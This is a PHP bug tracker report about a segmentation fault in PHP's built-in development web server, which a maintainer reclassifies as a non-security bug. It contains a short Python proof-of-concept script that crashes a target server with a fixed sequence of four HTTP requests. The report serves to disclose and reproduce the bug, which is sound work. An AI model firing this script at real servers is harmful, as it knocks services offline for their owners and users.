Sec Bug->Bug #78047 [Opn]: [DoS] Segmentation fault through HTTP Requests

Edit report at https://bugs.php.net/bug.php?id=78047&edit=1 ID: 78047 Updated by: cmb@php.net Reported by: michele dot cisternino at protonmail dot com Summary: [DoS] Segmentation fault through HTTP Requests Status: Open -Type: Security +Type: Bug Package: Built-in web server Operating System: Linux PHP Version: 7.3Git-2019-05-21 (snap) Block user comment: N Private report: Y New Comment: > The vulnerability could be exploited by an attacker […] No, it can not, because the built-in webserver is for *development* purposes only. Previous Comments: ------------------------------------------------------------------------ [2019-05-21 15:18:51] michele dot cisternino at protonmail dot com The exploit consists in sending HTTP requests in the following order: 1 - Request the base URL 2 - Request a valid file on the server 3 - Request a non-existent file on the server 4 - Request the base URL ------------------------------------------------------------------------ [2019-05-21 11:45:43] michele dot cisternino at protonmail dot com Description: ------------ Hi, I found a vulnerability while I was testing the PHP built-in web server. The vulnerability could be exploited by an attacker to crash the server causing a segmentation fault. I think the vulnerability resides in the way the server handle the HTTP requests. The steps to reproduce to trigger the segmentation fault are the following: $ apt install php $ mkdir server $ cd server $ touch file.php $ php -S 0.0.0.0:80 $ python exploit.py 127.0.0.1 #But could be a remote server as well You can find the exploit in the "Test script" section. Further investigations of the issue could lead an attacker to exploit the memory corruption in the server to get a reverse shell (eg. Buffer overflow). Anyway, with the actual exploit an attacker could already DoS the server. Test script: --------------- import sys import requests if len(sys.argv) < 2: print "[!] Usage: %s TARGET" % sys.argv[0] exit() target = sys.argv[1].strip() if not target.startswith("http://") and not target.startswith("https://"): target = "http://" + target if not target.endswith("/"): target = target + "/" filenames = ["", "file.php", "test.php", ""] print "[*] Sending requests to %s." % target try: for filename in filenames: requests.get(target + filename) print "The exploit didn't worked." except requests.exceptions.ConnectionError: print "The exploit worked!" Expected result: ---------------- The server crash with "Segmentation fault" error. ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=78047&edit=1